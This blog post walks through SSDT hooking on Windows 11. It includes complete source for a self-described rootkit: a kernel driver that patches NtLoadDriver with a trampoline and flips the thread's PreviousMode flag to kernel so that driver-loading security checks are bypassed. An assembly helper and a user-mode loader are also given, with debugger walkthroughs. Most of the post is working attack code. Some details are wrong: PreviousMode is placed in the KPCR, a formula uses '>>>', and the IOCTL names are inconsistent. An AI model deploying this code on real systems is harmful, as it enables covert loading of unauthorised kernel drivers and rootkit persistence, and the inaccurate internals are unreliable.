Loading Driver from User-Mode Program via SSDT Hooking

Loading Driver from User-Mode Program via SSDT Hooking

February 22, 2025·0xbekoo
0xbekoo

Welcome to my blog. In this blog, i will demonstrate SSDT Hooking technique.

In this article, we will examine how SSDT Hooking works, why it is used, and how it can be implemented. We will begin by understanding the System Service Descriptor Table (SSDT) and its role in managing system calls within the Windows kernel.

Next, we will take a closer look at this technique through a project I have prepared for SSDT Hooking. We will walk through the process of dynamically locating the SSDT, identifying a target system call (such as NtLoadDriver), and modifying its entry to redirect execution flow to a custom function.

What is SSDT?

Technically SSDT is a table that maps syscalls to the kernel functions in ntoskrnl.

When a System call issued by a User-Mode program, uses SSDT after entering kernel space:

Let’s say we call OpenProcess in our User-Mode program. OS needs to redirect to NtOpenProcess in ntoskrnl. SSDT comes into play for this.

SSDT contains offsets corresponding to SSN Numbers. These offsets are uses for calculate the routine address.

There are two formula for these calculations. One of them:


Offset = SSDTAddress + 4 * SSN

As you can see, this formula uses for calculate offset from SSDT.

Once OS calculating offset, it will calculate the original address with this formula:

RoutineAddress = SSDTAddress + (Offset >>> 4)

Analyzing SSDT with Windbg

We can check this SSDT using WinDBG:

In this output, fffff800798c7cb0 is the SSDT address. Well let’s take a look at the offsets i mentioned in SSDT:

We’ve listed 5 offsets in the SSDT. Let’s check an offset with the formula I mentioned:

As you can see if we check 056b3400 offset, we can see this offset belongs to NtWaitForSingleObject.

Finding Address with the SSN

Also in Windbg we can see specific NTAPI Address using SSN. For example, NtCreateFile. Before this, we need to find the NtCreateFile’s SSN from NTDLL:

As you can see NtCreateFile’s SSN is 0x55.

Let’s remember out formula again:

Offset = SSDTAddress + 4 * SSN

And let’s use the formula:

Firstly we got offset of NtCreateFile from SSDT. Then we calculated the address of NtCreateFile. So you can get address of specific function with this method.

If you want to understand better what we do, you can take look at the diagram below:

SSDT Hooking

Technically, SSDT Hooking is technique that redirect syscalls to outside the kernel. This technique was popular by anti-virus products but that popularity didn’t last long.

In 2010, this technique made a vulnerability in many computers which protected by the anti-virus products (among them was BitDefender, F-Secure, Kaspersky and Sophos, as well as McAfee and Trend Micro etc.) using SSDT Hooking.

This technique not only was used by anti-virus products but also was used by rootkits. For example, they could used to hide their presence. Whatever you can think of.

The Project

Here’s a diagram:

This diagram shows you flow the project. In this project, i aimed to load the driver on windows system as User-Mode program. In this case, you might ask me this: “Why NtLoadDriver?”

To be honest, i researched NtLoadDriver for a few days and i met SSDT Hooking while i researching NtLoadDriver. Then i decided to combine these two work.

User-Mode program communicates with the rootkit to add trampoline before calling NtLoadDriver. Then User-Mode program calls NtLoadDriver.

The syscall redirect to HookedNtLoadDriver (Rootkit’s Function). The reason for that is bypassing security that user-mode program will enter. The rootkit modifies KPCR->PreviousMode Flag and restores NtLoadDriver with original opcodes and calls NtLoadDriver.

PreviousMode Flag

“When a user-mode application calls the Nt or Zw version of a native system services routine, the system call mechanism traps the calling thread to kernel mode. To indicate that the parameter values originated in user mode, the trap handler for the system call sets the PreviousMode field in the thread object of the caller to UserMode.”
-Microsoft Learn — PreviousMode

Windows kernel has PreviousMode Flag. Basically this flag uses for system call mechanism.
The thread need to indicates whether the parameters sent come from User-Mode or Kernel-Mode before executing Nt/Zw Function. And for this, the thread sets PreviousMode flag in KPCR Structure. If the flag is set to 0, this means that it is kernel mode but set to 1, this means that it is user mode.

If you check the diagram again, you can see that the project changes PreviousMode flag before executing NtLoadDriver. Let’s see why we did this.

NtLoadDriver calls IopLoadDriverImage:

Before the load driver, you can see that it check the PreviousMode Flag:

0x188 offset points to KPCR structure. Then dl register take value of rdi+232h. This 0x232 offset points to PreviousMode Flag in KPCR. Finally, it checks the PreviousMode Flag.

If PreviousMode flag is set to 0, it directly skips the security controls and loads the driver but flag is set to 1, the flow enters the security controls:

So, my goal in this project is bypass security controls by setting the PreviousMode flag to 0.

Coding

  • Windows Version: Windows 11 24H2
  • OS Build: 26100.2894

You can check my github repo.

Kernel-Mode Driver

#pragma warning(disable:4996)

#include "main.h"
#include "hook.h"

#define SSN_NTLOADDRIVER 0x10E

PVOID g_NtLoadDriverAddress = NULL;

NTSTATUS HookedNtLoadDriver(PUNICODE_STRING DriverServiceName) {
	UNICODE_STRING UserBuffer;
	BOOLEAN PreviousStatus = FALSE;
	NTSTATUS Status = STATUS_SUCCESS;

	HkRestoreFunction((PVOID)g_NtLoadDriverAddress, (PVOID)OriginalNtLoadDriver);
	if (DriverServiceName->Buffer == NULL || DriverServiceName->Length == 0) {
		DbgPrintEx(0, 0, "Invalid DriverServiceName\n");
		return STATUS_INVALID_PARAMETER;
	}

	UserBuffer.Buffer = ExAllocatePoolWithTag(NonPagedPool, DriverServiceName->Length, 'buff');
	if (UserBuffer.Buffer == NULL) {
		return STATUS_INSUFFICIENT_RESOURCES;
	}
	UserBuffer.Length = DriverServiceName->Length;
	UserBuffer.MaximumLength = DriverServiceName->MaximumLength;

	__try {
		RtlCopyMemory(UserBuffer.Buffer, DriverServiceName->Buffer, DriverServiceName->Length);
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		DbgPrintEx(0, 0, "Exception occurred during RtlCopyMemory\n");
		ExFreePoolWithTag(UserBuffer.Buffer, 'buff');
		return GetExceptionCode();
	}
	DbgPrintEx(0, 0, "Driver: %wZ\n", &UserBuffer);

	PreviousStatus = ChangePreviousMode(0);
	if (!PreviousStatus) {
		goto Clean;
	}

	_NtLoadDriver NtLoadDriver = (_NtLoadDriver)g_NtLoadDriverAddress;
	Status = NtLoadDriver(&UserBuffer);

Clean:
	PreviousStatus = ChangePreviousMode(1);
	if (!PreviousStatus) {
		if (Status == 0) {
			Status = STATUS_UNSUCCESSFUL;
		}
	}

	ExFreePoolWithTag(UserBuffer.Buffer, 'buff');
	return Status;
}

PVOID GetSSDTAddress(PVOID KeAddSystemServiceAddr) {
	/*
		------------------
		kd> u nt!KeAddSystemServiceTable+0xbd L1
		nt!KeAddSystemServiceTable+0xbd:
		fffff800`aae7bdcd 48391d0c5b7800  cmp     qword ptr [nt!KeServiceDescriptorTable+0x20 (fffff800`ab6018e0)],rbx
		------------------
		
		We will dynamically obtain the address of the SSDT by reading the opcodes at this address by the KeAddSystemServiceTable address.

	*/
	PVOID AddressToRead = NULL;
	PVOID NewAddress = NULL;
	PBYTE Instruction = (PBYTE)KeAddSystemServiceAddr + 0xbd;

	/* Get Offset Address */
	DWORD OffsetAddress = *(PDWORD)(Instruction + 3);

	/* Calculate RIP */
	UINT_PTR rip = (UINT_PTR)Instruction + 7;

	/* Add Offset Address to RIP */
	AddressToRead = (PVOID)(rip + (INT32)OffsetAddress);

	/* Get Absolute Address */
	AddressToRead = (PVOID)((PBYTE)AddressToRead - 0x20);

	NewAddress = GetAddress(AddressToRead);

	return NewAddress;
}

NTSTATUS IoCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(DeviceObject);

	PIO_STACK_LOCATION Stack = IoGetCurrentIrpStackLocation(Irp);
	NTSTATUS status = STATUS_SUCCESS;

	switch (Stack->MajorFunction) {

	case IRP_MJ_CREATE:
		Irp->IoStatus.Status = STATUS_SUCCESS;
		break;

	case IRP_MJ_CLOSE:
		Irp->IoStatus.Status = STATUS_SUCCESS;
		break;

	default:
		status = STATUS_INVALID_DEVICE_REQUEST;
		break;
	}
	Irp->IoStatus.Information = 0;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);

	return Irp->IoStatus.Status;
}

NTSTATUS IoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(DeviceObject);

	PIO_STACK_LOCATION Stack = IoGetCurrentIrpStackLocation(Irp);
	BOOLEAN Value;
	switch (Stack->Parameters.DeviceIoControl.IoControlCode) {

	case IOCTL_TRAMPOLINE:
		Value = *(PBOOLEAN)Irp->AssociatedIrp.SystemBuffer;
		if (!Value) {
			Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
			Irp->IoStatus.Information = 0;
			break;
		}
		DbgPrintEx(0, 0, "IOCTL_TRAMPOLINE code received\n");

		HkDetourFunction((PVOID)g_NtLoadDriverAddress, (PVOID)HookedNtLoadDriver, 20, (PVOID*)&OriginalNtLoadDriver);

		Irp->IoStatus.Status = STATUS_SUCCESS;
		Irp->IoStatus.Information = 0;
		break;

	default:
		Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
		Irp->IoStatus.Information = 0;
		break;
	}
	IoCompleteRequest(Irp, IO_NO_INCREMENT);

	return Irp->IoStatus.Status;
}

VOID UnloadDriver(PDRIVER_OBJECT DriverObject) {
	UNREFERENCED_PARAMETER(DriverObject);

	UNICODE_STRING SymName = RTL_CONSTANT_STRING(L"\\??\\MyDriver");
	DbgPrintEx(0, 0, "Unloading the Driver...\n");

	IoDeleteSymbolicLink(&SymName);
	IoDeleteDevice(DriverObject->DeviceObject);
}

NTSTATUS DriverEntry(PDRIVER_OBJECT	DriverObject, PUNICODE_STRING RegistryPath) {
	UNREFERENCED_PARAMETER(RegistryPath);
	UNICODE_STRING DeviceName = RTL_CONSTANT_STRING(L"\\Device\\MyDriver");
	UNICODE_STRING SymName = RTL_CONSTANT_STRING(L"\\??\\MyDriver");
	PDEVICE_OBJECT DeviceObject;
	NTSTATUS Status;

	Status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject);
	if (!NT_SUCCESS(Status)) {
		DbgPrintEx(0, 0, "Failed to Create I/O Device!\n");
		return Status;
	}

	Status = IoCreateSymbolicLink(&SymName, &DeviceName);
	if (!NT_SUCCESS(Status)) {
		DbgPrintEx(0, 0, "Failed to Create Symbolic Link!\n");
		return Status;
	}

	UNICODE_STRING KeAddSystemString;
	PVOID fKeAddSystemAddress = NULL;
	RtlInitUnicodeString(&KeAddSystemString, L"KeAddSystemServiceTable");

	fKeAddSystemAddress = (PVOID)MmGetSystemRoutineAddress(&KeAddSystemString);
	DbgPrintEx(0, 0, "KeAddSystemServiceTable Address: 0x%p\n", fKeAddSystemAddress);

	PVOID SSDTAddress = GetSSDTAddress(fKeAddSystemAddress);
	DbgPrintEx(0, 0, "SSDT Address: 0x%p\n", SSDTAddress);

	/*
		Offset = SSDT + 4 * SSN
	*/
	UINT32 Offset = *(PUINT32)((PUCHAR)SSDTAddress + 4 * SSN_NTLOADDRIVER);
	DbgPrintEx(0, 0, "Offset: 0x%x\n", Offset);

	/*
		RoutineAddress = SSDT + (Offset >>> 4)
	*/
	g_NtLoadDriverAddress = (PVOID)((PUCHAR)SSDTAddress + (Offset >> 4));
	DbgPrintEx(0, 0, "NtLoadDriver Address: 0x%p\n\n", g_NtLoadDriverAddress);

	DriverObject->MajorFunction[IRP_MJ_CREATE] = IoCreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = IoCreateClose;
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoControl;
	DriverObject->DriverUnload = UnloadDriver;

	return STATUS_SUCCESS;
}

Well, let’s start in DriverEntry:

UNICODE_STRING KeAddSystemString;  
 PVOID fKeAddSystemAddress = NULL;  
 RtlInitUnicodeString(&KeAddSystemString, L"KeAddSystemServiceTable");  
  
 fKeAddSystemAddress = (PVOID)MmGetSystemRoutineAddress(&KeAddSystemString);  
 DbgPrintEx(0, 0, "KeAddSystemServiceTable Address: 0x%p\n", fKeAddSystemAddress);  
  
 PVOID SSDTAddress = GetSSDTAddress(fKeAddSystemAddress);  
 DbgPrintEx(0, 0, "SSDT Address: 0x%p\n", SSDTAddress);

Firslty we gets SSDT Dynamic Address. If you read my Finding SSDT Address with Driver article these codes will be familiar to you. This method simply something i developed.

We get address of KeAddSystemServiceTable and give this address to GetSSDTAddress Function. We can understand why we do this by looking the GetSSDTAddress function:

PVOID GetSSDTAddress(PVOID KeAddSystemServiceAddr) {  
/*  
------------------  
kd> u nt!KeAddSystemServiceTable+0xbd L1  
nt!KeAddSystemServiceTable+0xbd:  
fffff800`aae7bdcd 48391d0c5b7800 cmp qword ptr [nt!KeServiceDescriptorTable+0x20 (fffff800`ab6018e0)],rbx  
------------------  
  
We will dynamically obtain the address of the SSDT by reading the opcodes at this address by the KeAddSystemServiceTable address.  
  
*/  
PVOID AddressToRead = NULL;  
PVOID NewAddress = NULL;  
PBYTE Instruction = (PBYTE)KeAddSystemServiceAddr + 0xbd;  
  
/* Get Offset Address */  
DWORD OffsetAddress = *(PDWORD)(Instruction + 3);  
  
/* Calculate RIP */  
UINT_PTR rip = (UINT_PTR)Instruction + 7;  
  
/* Add Offset Address to RIP */  
AddressToRead = (PVOID)(rip + (INT32)OffsetAddress);  
  
/* Get Absolute Address */  
AddressToRead = (PVOID)((PBYTE)AddressToRead - 0x20);  
  
NewAddress = GetAddress(AddressToRead);  
  
return NewAddress;  
}

Essentially, we read the opcode of code shown on the command line. In this code compares SSDT+0x20 with rbx’s value. That’s it. I know it’s very simple a method.

UINT32 Offset = *(PUINT32)((PUCHAR)SSDTAddress + 4 * SSN_NTLOADDRIVER);  
DbgPrintEx(0, 0, "Offset: 0x%x\n", Offset);  
  
g_NtLoadDriverAddress = (PVOID)((PUCHAR)SSDTAddress + (Offset >> 4));  
DbgPrintEx(0, 0, "NtLoadDriver Address: 0x%p\n\n", g_NtLoadDriverAddress);

After that we calculate address of NtLoadDriver using obtained SSDT Address. For this we do it with the formulas that we learned.

NTSTATUS IoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {  
	UNREFERENCED_PARAMETER(DeviceObject);  
  
	PIO_STACK_LOCATION Stack = IoGetCurrentIrpStackLocation(Irp);  
	BOOLEAN Value;  
	switch (Stack->Parameters.DeviceIoControl.IoControlCode) {  
	case IOCTL_BYPASS_PREVIOUS_MODE:  
		Value = *(PBOOLEAN)Irp->AssociatedIrp.SystemBuffer;  
		if (!Value) {  
			Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;  
			Irp->IoStatus.Information = 0;  
			break;  
		}  
		DbgPrintEx(0, 0, "IOCTL code received (IOCTL_BYPASS_PREVIOUS_MODE)\n");  
  
		HkDetourFunction((PVOID)g_NtLoadDriverAddress, (PVOID)HookedNtLoadDriver, 20,(PVOID*)&OriginalNtLoadDriver);  
  
		Irp->IoStatus.Status = STATUS_SUCCESS;  
		Irp->IoStatus.Information = 0;  
		break;  
  
	default:  
		Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;  
		Irp->IoStatus.Information = 0;  
		break;  
	}  
	IoCompleteRequest(Irp, IO_NO_INCREMENT);  
  
	return Irp->IoStatus.Status;  
}

Then rootkit waits for UserMode’s IOCTL code. And the rootkit places the trampoline in address of NtLoadDriver when receives IOCTL code. For this, using HkDetourFunction function. The code for placing the trampoline doesn’t belong to me. Its belongs to github.com/adrianyy/kernelhook.

NTSTATUS HookedNtLoadDriver(PUNICODE_STRING DriverServiceName) {
	UNICODE_STRING UserBuffer;
	BOOLEAN PreviousStatus = FALSE;
	NTSTATUS Status = STATUS_SUCCESS;

	HkRestoreFunction((PVOID)g_NtLoadDriverAddress, (PVOID)OriginalNtLoadDriver);
	if (DriverServiceName->Buffer == NULL || DriverServiceName->Length == 0) {
		DbgPrintEx(0, 0, "Invalid DriverServiceName\n");
		return STATUS_INVALID_PARAMETER;
	}

	UserBuffer.Buffer = ExAllocatePoolWithTag(NonPagedPool, DriverServiceName->Length, 'buff');
	if (UserBuffer.Buffer == NULL) {
		return STATUS_INSUFFICIENT_RESOURCES;
	}
	UserBuffer.Length = DriverServiceName->Length;
	UserBuffer.MaximumLength = DriverServiceName->MaximumLength;

	__try {
		RtlCopyMemory(UserBuffer.Buffer, DriverServiceName->Buffer, DriverServiceName->Length);
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		DbgPrintEx(0, 0, "Exception occurred during RtlCopyMemory\n");
		ExFreePoolWithTag(UserBuffer.Buffer, 'buff');
		return GetExceptionCode();
	}
	DbgPrintEx(0, 0, "Driver: %wZ\n", &UserBuffer);

	PreviousStatus = ChangePreviousMode(0);
	if (!PreviousStatus) {
		goto Clean;
	}

	_NtLoadDriver NtLoadDriver = (_NtLoadDriver)g_NtLoadDriverAddress;
	Status = NtLoadDriver(&UserBuffer);

Clean:
	PreviousStatus = ChangePreviousMode(1);
	if (!PreviousStatus) {
		if (Status == 0) {
			Status = STATUS_UNSUCCESSFUL;
		}
	}

	ExFreePoolWithTag(UserBuffer.Buffer, 'buff');
	return Status;
}

These codes where the magic happens. After calling NtLoadDriver from User-Mode program, It jump to HookedNtLoadDriver. Firstly we restore original opcodes of NtLoadDriver because we have to remove the trampoline.

UserBuffer.Buffer = ExAllocatePoolWithTag(NonPagedPool, DriverServiceName->Length, 'buff');  
if (UserBuffer.Buffer == NULL) {  
return STATUS_INSUFFICIENT_RESOURCES;  
}  
UserBuffer.Length = DriverServiceName->Length;  
UserBuffer.MaximumLength = DriverServiceName->Length;  
  
RtlCopyMemory(UserBuffer.Buffer, DriverServiceName->Buffer, DriverServiceName->Length);  
DbgPrintEx(0, 0, "Driver: %wZ\n", &UserBuffer);

After that we allocate memory in kernel space for sent parameter as UNICODE_STRING. Since this parameter is sent from User-Mode program we have to allocate the memory in kernel space. To understand this, we can look at following description:

“The native system services routine checks the PreviousMode field of the calling thread to determine whether the parameters are from a user-mode source." Microsoft Learn — Previous Mode

So since our goal is manipulate PreviousMode, and the parameter sent from User-Mode program, we need to transfer the parameter to Kernel Space. If we do not this, we will get the following error:

Well let’s analyze it.

After started the process of KiSystemCall64Shadow, it prepares the PreviousMode flag in KiSystemServiceUser at 0x1406B83F3 address:

There is also a section that checks the PreviousMode flag to determine if there is any incompatibility at 0x1406B86A3 address of KiSystemServiceExit:

In loc_1406B8E66 function, KiBugCheckDispatch is called:

loc_1406B8E66:
mov     ecx, 1F9h
mov     rdx, [rbp+0E8h]
movzx   r8d, byte ptr [r11+232h]
xor     r9d, r9d
xor     r10d, r10d
call    KiBugCheckDispatch

The error code, PREVIOUS MODE MISMATCH which we saw in the blue screen image is actually triggered here and this error code is 0x1F9. We can verify this with WinDBG:

Let’s keep going:

	PreviousStatus = ChangePreviousMode(0);
	if (!PreviousStatus) {
		goto Clean;
	}

	_NtLoadDriver NtLoadDriver = (_NtLoadDriver)g_NtLoadDriverAddress;
	Status = NtLoadDriver(&UserBuffer);

Clean:
	PreviousStatus = ChangePreviousMode(1);
	if (!PreviousStatus) {
		if (Status == 0) {
			Status = STATUS_UNSUCCESSFUL;
		}
	}

	ExFreePoolWithTag(UserBuffer.Buffer, 'buff');
	return Status;
}

After that we change PreviousMode Flag with our ChangePreviousMode function in Assembly project:

; /*
; 
; BOOLEAN ChangePreviousMode(
;	_in_ int Mode
; );
;
; */
ChangePreviousMode PROC
	; In PreviousMode we have 0 for KernelMode and 1 for UserMode.
	; It means, we can only change the PreviousMode to 0 or 1.

	cmp rcx,0		; Check if the Mode is Kernel Mode (0)
	jz ChangePrevious

	cmp rcx,1		; Check if the Mode is User Mode (1)
	jz ChangePrevious

	; If the Mode is not 0 or 1, return FALSE
	xor rax,rax
	jmp Return 

ChangePrevious:
	push rdx 
	
	; We need to get the KPCR because the KPCR contains the PreviousMode
	mov rdx,qword ptr gs:[188h]

	; The 0x232 offset is point to the PreviousMode in the KPCR
	mov byte ptr [rdx+232h],cl
	pop rdx

	mov rax,1

Return:
	ret
ChangePreviousMode ENDP

Basically, the steps are very simple. We get address of KPCR by reading 0x188 offset and replace PreviousMode Flag (0x232 offset) with rcx’s value.

From C Project:

PreviousStatus = ChangePreviousMode(0);  
if (!PreviousStatus) {  
	return STATUS_UNSUCCESSFUL;  
}

Before calling NtLoadDriver we change PreviousMode Flag to 0 (Kernel Mode).

_NtLoadDriver NtLoadDriver = (_NtLoadDriver)g_NtLoadDriverAddress;  
NTSTATUS Status = NtLoadDriver(&UserBuffer);  
if (!NT_SUCCESS(Status)) {  
	goto Clean;  
}

And finally we call NtLoadDriver with the address got in SSDT.

User-Mode Program

#include "main.h"

int main(int argc, char* argv[]) {
	if (argc < 2) {
		printf("Usage: %s <DriverName>\n", argv[0]);
		return EXIT_FAILURE;
	}
	WCHAR DriverName[MAX_PATH] = { 0 };
	NtLoadDriver _NtLoadDriver;
	RtlAppendUnicodeToString _RtlAppendUnicodeToString;
	HANDLE HandleDevice = NULL;
	HMODULE NTDLL = NULL;
	UNICODE_STRING DriverServiceName;
	DWORD OutputBytesReturned = 0;
	BOOL Result = 0;
	DWORD dwExitCode = EXIT_SUCCESS;
	NTSTATUS Status = 0;

	MultiByteToWideChar(CP_ACP, 0, argv[1], -1, DriverName, MAX_PATH);

	NTDLL = GetModuleHandleA("ntdll.dll");
	if (NULL == NTDLL) {
		printf("Failed to get address of NTDLL!\n");

		dwExitCode = EXIT_FAILURE;
		goto Exit;
	}
	printf("NTDLL: 0x%p\n", NTDLL);

	/* Combine DriverName and ServiceName */
	RtlInitUnicodeString(&DriverServiceName, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
	WCHAR ServicePath[] = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\";
	size_t ServicePathLength = wcslen(ServicePath);
	size_t DriverNameLength = wcslen(DriverName);
	size_t TotalLength = ServicePathLength + DriverNameLength + 1; // +1 for null terminator

	_RtlAppendUnicodeToString = (RtlAppendUnicodeToString)GetProcAddress(NTDLL, "RtlAppendUnicodeToString");
	if (NULL == _RtlAppendUnicodeToString) {
		printf("Failed to get address of RtlAppendUnicodeToString!\n");
		dwExitCode = EXIT_FAILURE;
		goto Exit;
	}

	// Allocate sufficient buffer for DriverServiceName
	DriverServiceName.Buffer = (PWCH)malloc(TotalLength * sizeof(WCHAR));
	if (NULL == DriverServiceName.Buffer) {
		printf("Failed to allocate memory for DriverServiceName!\n");
		return EXIT_FAILURE;
	}
	wcscpy_s(DriverServiceName.Buffer, TotalLength, ServicePath);
	DriverServiceName.Length = (USHORT)(ServicePathLength * sizeof(WCHAR));
	DriverServiceName.MaximumLength = (USHORT)(TotalLength * sizeof(WCHAR));

	Status = _RtlAppendUnicodeToString(&DriverServiceName, DriverName);
	if (0 != Status) {
		printf("Failed to append DriverName to ServiceName! Error Code: 0x%08x\n", Status);
		
		dwExitCode = EXIT_FAILURE;
		goto Exit;
	}
	printf("Full Path: %ws\n", DriverServiceName.Buffer);

	HandleDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (INVALID_HANDLE_VALUE == HandleDevice) {
		printf("Failed to connect Driver! Error Code: 0x%lx\n", GetLastError());

		dwExitCode = EXIT_FAILURE;
		goto Exit;
	}

	BOOLEAN bValue = TRUE;
	Result = DeviceIoControl(HandleDevice, IOCTL_TRAMPOLINE, &bValue, sizeof(bValue), NULL, 0, &OutputBytesReturned, NULL);
	if (!Result) {
		printf("Failed to IOCTL Code!\n");

		dwExitCode = EXIT_FAILURE;
		goto Exit;
	}

	_NtLoadDriver = (NtLoadDriver)GetProcAddress(NTDLL, "NtLoadDriver");
	if (NULL == _NtLoadDriver) {
		printf("Failed to get address of NtLoadDriver!\n");

		dwExitCode = EXIT_FAILURE;
		goto Exit;
	}
	printf("NtLoadDriver: 0x%p\n", _NtLoadDriver);

	Status = _NtLoadDriver(&DriverServiceName);
	if (0 != Status) {
		if (0xc000010e == Status) {
			/* 0xc000010e == STATUS_IMAGE_ALREADY_LOADED */
			printf("The driver is already loaded\n");

			dwExitCode = EXIT_SUCCESS;
			goto Exit;
		}
		printf("Failed to Load Driver! Error Code: 0x%08x\n", Status);

		dwExitCode = EXIT_FAILURE;
		goto Exit;
	}
	printf("The driver was installed successfully\n");
	dwExitCode = EXIT_SUCCESS;

Exit:
	if (NTDLL) {
		FreeLibrary(NTDLL);
	}
	if (HandleDevice) {
		CloseHandle(HandleDevice);
	}
	free(DriverServiceName.Buffer);

	return dwExitCode;
}

Essentially, these codes are very simple.

	HandleDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (INVALID_HANDLE_VALUE == HandleDevice) {
		printf("Failed to connect Driver! Error Code: 0x%lx\n", GetLastError());

		dwExitCode = EXIT_FAILURE;
		goto Exit;
	}

	BOOLEAN bValue = TRUE;
	Result = DeviceIoControl(HandleDevice, IOCTL_TRAMPOLINE, &bValue, sizeof(bValue), NULL, 0, &OutputBytesReturned, NULL);
	if (!Result) {
		printf("Failed to IOCTL Code!\n");

		dwExitCode = EXIT_FAILURE;
		goto Exit;
	}

Firstly we communicate to our rootkit for trampoline.

	_NtLoadDriver = (NtLoadDriver)GetProcAddress(NTDLL, "NtLoadDriver");
	if (NULL == _NtLoadDriver) {
		printf("Failed to get address of NtLoadDriver!\n");

		dwExitCode = EXIT_FAILURE;
		goto Exit;
	}
	printf("NtLoadDriver: 0x%p\n", _NtLoadDriver);

	Status = _NtLoadDriver(&DriverServiceName);
	if (0 != Status) {
		if (0xc000010e == Status) {
			/* 0xc000010e == STATUS_IMAGE_ALREADY_LOADED */
			printf("The driver is already loaded\n");

			dwExitCode = EXIT_SUCCESS;
			goto Exit;
		}
		printf("Failed to Load Driver! Error Code: 0x%08x\n", Status);

		dwExitCode = EXIT_FAILURE;
		goto Exit;
	}
	printf("The driver was installed successfully\n");
	dwExitCode = EXIT_SUCCESS;

After we access NTDLL, get address of NtLoadDriver from NTDLL. Then we call NtLoadDriver.

Running the Project

Well, let’s start the driver:

As you can see, we are successfully getting the address of NtLoadDriver. Let’s check:

Before running User-Mode program, if we want to see before/after opcodes of NtLoadDriver, we need to add bp to IoControl, after that we can run User-Mode program:

We set bp after running HkDetourFunction and check opcodes of NtLoadDriver:

As you can see, It has placed the trampoline in NtLoadDriver.

And now we are in HookedNtLoadDriver. Set bp on ChangePreviousMode Function and let’s continue the flow:

As you can see, rcx’s value is 0. It means that the rootkit will set PreviousMode Flag to Kernel Mode.

Then rdx register gets KPCR Structure. Let’s check:

kd> dt _KPCR ffffaf05f3fcd080  
nt!_KPCR  
+0x000 NtTib : _NT_TIB  
+0x000 GdtBase : 0x00000000`00a00006 _KGDTENTRY64  
+0x008 TssBase : 0xffffaf05`f3fcd088 _KTSS64  
+0x010 UserRsp : 0xffffaf05`f3fcd088  
+0x018 Self : (null)  
+0x020 CurrentPrcb : 0x00000000`06afd6a8 _KPRCB  
+0x028 LockArray : 0xfffffe87`0be99c70 _KSPIN_LOCK_QUEUE  
+0x030 Used_Self : 0xfffffe87`0be94000 Void  
+0x038 IdtBase : 0xfffffe87`0be9a000 _KIDTENTRY64  
+0x040 Unused : [2] 0  
+0x050 Irql : 0x5c '\'  
+0x051 SecondLevelCacheAssociativity : 0x9f ''  
+0x052 ObsoleteNumber : 0x4 ''  
+0x053 Fill0 : 0 ''  
+0x054 Unused0 : [3] 0x40e0a5  
+0x060 MajorVersion : 0x9cc0  
+0x062 MinorVersion : 0xbe9  
+0x064 StallScaleFactor : 0xfffffe87  
+0x068 Unused1 : [3] (null)  
+0x080 KernelReserved : [15] 0x10e  
+0x0bc SecondLevelCacheSize : 0xffffaf05  
+0x0c0 HalReserved : [16] 0x8000000  
+0x100 Unused2 : 0xe0008  
+0x108 KdVersionBlock : 0xffffaf05`f3fcd250 Void  
+0x110 Unused3 : 0xffffaf05`f3fcd250 Void  
+0x118 PcrAlign1 : [24] 0xe83afa1a  
+0x180 Prcb : _KPRCB

Let’s check PreviousMode Flag before/after the rootkit changing the flag:

Now our flag is set to 0. And let’s get into NtLoadDriver:

Quickly let’s go to the part where PreviousMode flag is checking:

dl register takes 0 value. It means, kernel will recognize this process as kernel-mode driver call:

That’s it!

Finally, let’s check User-Mode Program output:

Also from Windbg:

Conclusions

In this blog we took a close look at SSDT and SSDT Hooking.

In the project, we used the SSDT Hooking method to bypass the security checks encountered by a User-Mode program during driver loading. The related rootkit dynamically retrieves the address of the SSDT, calculates the original address of NtLoadDriver, and places a trampoline at this address.

After the User-Mode program calls NtLoadDriver, the execution flow is redirected to the rootkit’s function. Here, the rootkit modifies the PreviousMode flag before transferring the flow back to NtLoadDriver.

References

Last updated on